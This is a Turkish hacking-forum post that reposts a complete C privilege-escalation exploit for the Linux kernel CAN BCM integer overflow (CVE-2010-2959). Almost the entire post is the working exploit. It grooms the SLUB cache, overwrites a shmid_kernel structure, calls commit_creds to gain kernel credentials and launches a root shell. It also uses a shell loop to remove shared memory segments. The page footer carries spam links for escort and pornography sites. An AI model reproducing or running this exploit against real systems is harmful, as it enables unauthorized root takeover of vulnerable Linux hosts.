KULLANICI ADI : ŞİFRE Şifremi Unuttum*

Anasayfa İLLEG4L BANK KREDİ SATIN AL İLLEG4LİZM RAP Sub Domain Bulucu Arama Yap Yeni Konular Bugünki Konular

Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
Konu : Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit - 21.06.2015, 21:30
Mesaj: #1
Kod:
/*
* i-CAN-haz-MODHARDEN.c
*
* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
* Jon Oberheide <[email protected]>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
*
*   Ben Hawkes discovered an integer overflow in the Controller Area Network
*   (CAN) subsystem when setting up frame content and filtering certain
*   messages. An attacker could send specially crafted CAN traffic to crash
*   the system or gain root privileges.
*
* Usage:
*
*   $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
*   $ ./i-can-haz-modharden
*   ...
*   [+] launching root shell!
*   # id
*   uid=0(root) gid=0(root)
*
* Notes:
*
*   The allocation pattern of the CAN BCM module gives us some desirable
*   properties for smashing the SLUB. We control the kmalloc with a 16-byte
*   granularity allowing us to place our allocation in the SLUB cache of our
*   choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for
*   old-times sake). The allocation can also be made in its own discrete
*   stage before the overwrite which allows us to be a bit more conservative
*   in ensuring the proper layout of our SLUB cache.
*
*   To exploit the vulnerability, we first create a BCM RX op with a crafted
*   nframes to trigger the integer overflow during the kmalloc. On the second
*   call to update the existing RX op, we bypass the E2BIG check since the
*   stored nframes in the op is large, yet has an insufficiently sized
*   allocation associated with it. We then have a controlled write into the
*   adjacent shmid_kernel object in the 96-byte SLUB cache.
*
*   However, while we control the length of the SLUB overwrite via a
*   memcpy_fromiovec operation, there exists a memset operation that directly
*   follows which zeros out last_frames, likely an adjacent allocation, with
*   the same malformed length, effectively nullifying our shmid smash. To
*   work around this, we take advantage of the fact that copy_from_user can
*   perform partial writes on x86 and trigger an EFAULT by setting up a
*   truncated memory mapping as the source for the memcpy_fromiovec operation,
*   allowing us to smash the necessary amount of memory and then pop out and
*   return early before the memset operation occurs.
*
*   We then perform a dry-run and detect the shmid smash via an EIDRM errno
*   from shmat() caused by an invalid ipc_perm sequence number. Once we're
*   sure we have a shmid_kernel under our control we re-smash it with the
*   malformed version and redirect control flow to our credential modifying
*   calls mapped in user space.
*
*   Distros: please use grsecurity's MODHARDEN or SELinux's module_request
*   to restrict unprivileged loading of uncommon packet families. Allowing
*   the loading of poorly-written PF modules just adds a non-trivial and
*   unnecessary attack surface to the kernel.
*
*   Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
*   easily to other vulnerable kernels/distros. Careful, it could use some
*   post-exploitation stability love as well.
*
*   Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
*   this exploit borrows code from.
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>

#define SLUB "kmalloc-96"
#define ALLOCATION 96
#define FILLER 100

#ifndef PF_CAN
#define PF_CAN 29
#endif

#ifndef CAN_BCM
#define CAN_BCM 2
#endif

struct sockaddr_can {
    sa_family_t can_family;
    int can_ifindex;
    union {
        struct { uint32_t rx_id, tx_id; } tp;
    } can_addr;
};

struct can_frame {
    uint32_t can_id;
    uint8_t can_dlc;
    uint8_t data[8] __attribute__((aligned(8)));
};

struct bcm_msg_head {
    uint32_t opcode;
    uint32_t flags;
    uint32_t count;
    struct timeval ival1, ival2;
    uint32_t can_id;
    uint32_t nframes;
    struct can_frame frames[0];
};

#define RX_SETUP 5
#define RX_DELETE 6
#define CFSIZ sizeof(struct can_frame)
#define MHSIZ sizeof(struct bcm_msg_head)
#define IPCMNI 32768
#define    EIDRM 43
#define HDRLEN_KMALLOC 8

struct list_head {
    struct list_head *next;
    struct list_head *prev;
};

struct super_block {
    struct list_head s_list;
    unsigned int s_dev;
    unsigned long s_blocksize;
    unsigned char s_blocksize_bits;
    unsigned char s_dirt;
    uint64_t s_maxbytes;
    void *s_type;
    void *s_op;
    void *dq_op;
    void *s_qcop;
    void *s_export_op;
    unsigned long s_flags;
} super_block;

struct mutex {
    unsigned int count;
    unsigned int wait_lock;
    struct list_head wait_list;
    void *owner;
};

struct inode {
    struct list_head i_hash;
    struct list_head i_list;
    struct list_head i_sb_list;
    struct list_head i_dentry_list;
    unsigned long i_ino;
    unsigned int i_count;
    unsigned int i_nlink;
    unsigned int i_uid;
    unsigned int i_gid;
    unsigned int i_rdev;
    uint64_t i_version;
    uint64_t i_size;
    unsigned int i_size_seqcount;
    long i_atime_tv_sec;
    long i_atime_tv_nsec;
    long i_mtime_tv_sec;
    long i_mtime_tv_nsec;
    long i_ctime_tv_sec;
    long i_ctime_tv_nsec;
    uint64_t i_blocks;
    unsigned int i_blkbits;
    unsigned short i_bytes;
    unsigned short i_mode;
    unsigned int i_lock;
    struct mutex i_mutex;
    unsigned int i_alloc_sem_activity;
    unsigned int i_alloc_sem_wait_lock;
    struct list_head i_alloc_sem_wait_list;
    void *i_op;
    void *i_fop;
    struct super_block *i_sb;
    void *i_flock;
    void *i_mapping;
    char i_data[84];
    void *i_dquot_1;
    void *i_dquot_2;
    struct list_head i_devices;
    void *i_pipe_union;
    unsigned int i_generation;
    unsigned int i_fsnotify_mask;
    void *i_fsnotify_mark_entries;
    struct list_head inotify_watches;
    struct mutex inotify_mutex;
} inode;

struct dentry {
    unsigned int d_count;
    unsigned int d_flags;
    unsigned int d_lock;
    int d_mounted;
    void *d_inode;
    struct list_head d_hash;
    void *d_parent;
} dentry;

struct file_operations {
    void *owner;
    void *llseek;
    void *read;
    void *write;
    void *aio_read;
    void *aio_write;
    void *readdir;
    void *poll;
    void *ioctl;
    void *unlocked_ioctl;
    void *compat_ioctl;
    void *mmap;
    void *open;
    void *flush;
    void *release;
    void *fsync;
    void *aio_fsync;
    void *fasync;
    void *lock;
    void *sendpage;
    void *get_unmapped_area;
    void *check_flags;
    void *flock;
    void *splice_write;
    void *splice_read;
    void *setlease;
} op;

struct vfsmount {
    struct list_head mnt_hash;
    void *mnt_parent;
    void *mnt_mountpoint;
    void *mnt_root;
    void *mnt_sb;
    struct list_head mnt_mounts;
    struct list_head mnt_child;
    int mnt_flags;
    const char *mnt_devname;
    struct list_head mnt_list;
    struct list_head mnt_expire;
    struct list_head mnt_share;
    struct list_head mnt_slave_list;
    struct list_head mnt_slave;
    struct vfsmount *mnt_master;
    struct mnt_namespace *mnt_ns;
    int mnt_id;
    int mnt_group_id;
    int mnt_count;
} vfsmount;

struct file {
    struct list_head fu_list;
    struct vfsmount *f_vfsmnt;
    struct dentry *f_dentry;
    void *f_op;
    unsigned int f_lock;
    unsigned long f_count;
} file;

struct kern_ipc_perm {
    unsigned int lock;
    int deleted;
    int id;
    unsigned int key;
    unsigned int uid;
    unsigned int gid;
    unsigned int cuid;
    unsigned int cgid;
    unsigned int mode;
    unsigned int seq;
    void *security;
};

struct shmid_kernel {
    struct kern_ipc_perm shm_perm;
    struct file *shm_file;
    unsigned long shm_nattch;
    unsigned long shm_segsz;
    time_t shm_atim;
    time_t shm_dtim;
    time_t shm_ctim;
    unsigned int shm_cprid;
    unsigned int shm_lprid;
    void *mlock_user;
} shmid_kernel;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    int ret = 0, oldstyle;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL)
            return 0;
        oldstyle = 1;
    }

    while (ret != EOF) {
        if (!oldstyle) {
            ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
        } else {
            ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
            if (ret == 2) {
                char *p;
                if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
                    continue;
                }
                p = strrchr(sname, '_');
                if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
                    p = p - 4;
                    while (p > (char *)sname && *(p - 1) == '_') {
                        p--;
                    }
                    *p = '\0';
                }
            }
        }
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);

    return 0;
}

int
check_slabinfo(char *cache, int *active_out, int *total_out)
{
    FILE *fp;
    char name[64], slab[256];
    int active, total, diff;

    memset(slab, 0, sizeof(slab));
    memset(name, 0, sizeof(name));

    fp = fopen("/proc/slabinfo", "r");
    if (!fp) {
        printf("[-] sorry, /proc/slabinfo is not available!");
        exit(1);
    }

    fgets(slab, sizeof(slab) - 1, fp);
    while (1) {
        fgets(slab, sizeof(slab) - 1, fp);
        sscanf(slab, "%s %u %u", name, &active, &total);
        diff = total - active;
        if (strcmp(name, cache) == 0) {
            break;
        }
    }
    fclose(fp);

    if (active_out) {
        *active_out = active;
    }
    if (total_out) {
        *total_out = total;
    }
    return diff;
}

void
trigger(void)
{
    int *shmids;
    int i, ret, sock, cnt, base, smashed;
    int diff, active, total, active_new, total_new;
    int len, sock_len, mmap_len;
    struct sockaddr_can addr;
    struct bcm_msg_head *msg;
    void *efault;
    char *buf;

    printf("[+] creating PF_CAN socket...\n");

    sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
    if (sock < 0) {
        printf("[-] kernel lacks CAN packet family support\n");
        exit(1);
    }

    printf("[+] connecting PF_CAN socket...\n");

    memset(&addr, 0, sizeof(addr));
    addr.can_family = PF_CAN;

    ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
    if (sock < 0) {
        printf("[-] could not connect CAN socket\n");
        exit(1);
    }

    len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
    msg = malloc(len);
    memset(msg, 0, len);
    msg->can_id = 2959;
    msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;

    printf("[+] clearing out any active OPs via RX_DELETE...\n");
    
    msg->opcode = RX_DELETE;
    ret = send(sock, msg, len, 0);

    printf("[+] removing any active user-owned shmids...\n");

    system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");

    printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");

    diff = check_slabinfo(SLUB, &active, &total);

    shmids = malloc(sizeof(int) * diff * 10);

    cnt = diff * 10;
    for (i = 0; i < cnt; ++i) {
        diff = check_slabinfo(SLUB, &active, &total);
        if (diff == 0) {
            break;
        }
        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    }
    base = i;

    if (diff != 0) {
        printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");
        exit(1);
    }

    printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");

    i = base;
    cnt = i + FILLER;
    for (; i < cnt; ++i) {
        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    }

    msg->opcode = RX_SETUP;
    ret = send(sock, msg, len, 0);
    if (ret < 0) {
        printf("[-] kernel rejected malformed CAN header\n");
        exit(1);
    }

    i = base + FILLER;
    cnt = i + FILLER;
    for (; i < cnt; ++i) {
        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    }

    printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");

    mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
    sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
    efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);

    printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");

    msg = (struct bcm_msg_head *) efault;
    memset(msg, 0, mmap_len);
    msg->can_id = 2959;
    msg->nframes = (ALLOCATION / 16) * 4;

    msg->opcode = RX_SETUP;
    ret = send(sock, msg, mmap_len, 0);
    if (ret != -1 && errno != EFAULT) {
        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
        exit(1);
    }

    printf("[+] seeking out the smashed shmid_kernel...\n");

    i = base;
    cnt = i + FILLER + FILLER;
    for (; i < cnt; ++i) {
        ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
        if (ret == -1 && errno == EIDRM) {
            smashed = i;
            break;
        }
    }
    if (i == cnt) {
        printf("[-] could not find smashed shmid, trying running the exploit again!\n");
        exit(1);
    }
    
    printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);

    printf("[+] re-smashing the shmid_kernel with exploit payload...\n");

    shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;

    buf = (char *) msg;
    memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));

    msg->opcode = RX_SETUP;
    ret = send(sock, msg, mmap_len, 0);
    if (ret != -1 && errno != EFAULT) {
        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
        exit(1);
    }
    
    ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
    if (ret == -1 && errno != EIDRM) {
        setresuid(0, 0, 0);
        setresgid(0, 0, 0);

        printf("[+] launching root shell!\n");

        execl("/bin/bash", "/bin/bash", NULL);
        exit(0);
    }

    printf("[-] exploit failed! retry?\n");
}

void
setup(void)
{
    printf("[+] looking for symbols...\n");

    commit_creds = (_commit_creds) get_symbol("commit_creds");
    if (!commit_creds) {
        printf("[-] symbol table not availabe, aborting!\n");
    }

    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("[-] symbol table not availabe, aborting!\n");
    }

    printf("[+] setting up exploit payload...\n");

    super_block.s_flags = 0;

    inode.i_size = 4096;
    inode.i_sb = &super_block;
    inode.inotify_watches.next = &inode.inotify_watches;
    inode.inotify_watches.prev = &inode.inotify_watches;
    inode.inotify_mutex.count = 1;

    dentry.d_count = 4096;
    dentry.d_flags = 4096;
    dentry.d_parent = NULL;
    dentry.d_inode = &inode;

    op.mmap = &kernel_code;
    op.get_unmapped_area = &kernel_code;

    vfsmount.mnt_flags = 0;
    vfsmount.mnt_count = 1;

    file.fu_list.prev = &file.fu_list;
    file.fu_list.next = &file.fu_list;
    file.f_dentry = &dentry;
    file.f_vfsmnt = &vfsmount;
    file.f_op = &op;

    shmid_kernel.shm_perm.key = IPC_PRIVATE;
    shmid_kernel.shm_perm.uid = getuid();
    shmid_kernel.shm_perm.gid = getgid();
    shmid_kernel.shm_perm.cuid = getuid();
    shmid_kernel.shm_perm.cgid = getgid();
    shmid_kernel.shm_perm.mode = -1;
    shmid_kernel.shm_file = &file;
}

int
main(int argc, char **argv)
{
    setup();
    trigger();
    return 0;
}
The-X4NG, üyesi illegalizm | Private illegal Topluluk - Hack forum,Warez Scriptler forumlarına 10.05.2015 tarihinde katılmıştır.

WWW Alıntı ile Cevapla


Hızlı Menü:


Konuyu Okuyanlar: 1 Ziyaretçi
antalya escort türk ifşa porno izle türk ifşa porno samsun escort izmir escort türk ifşa hd porno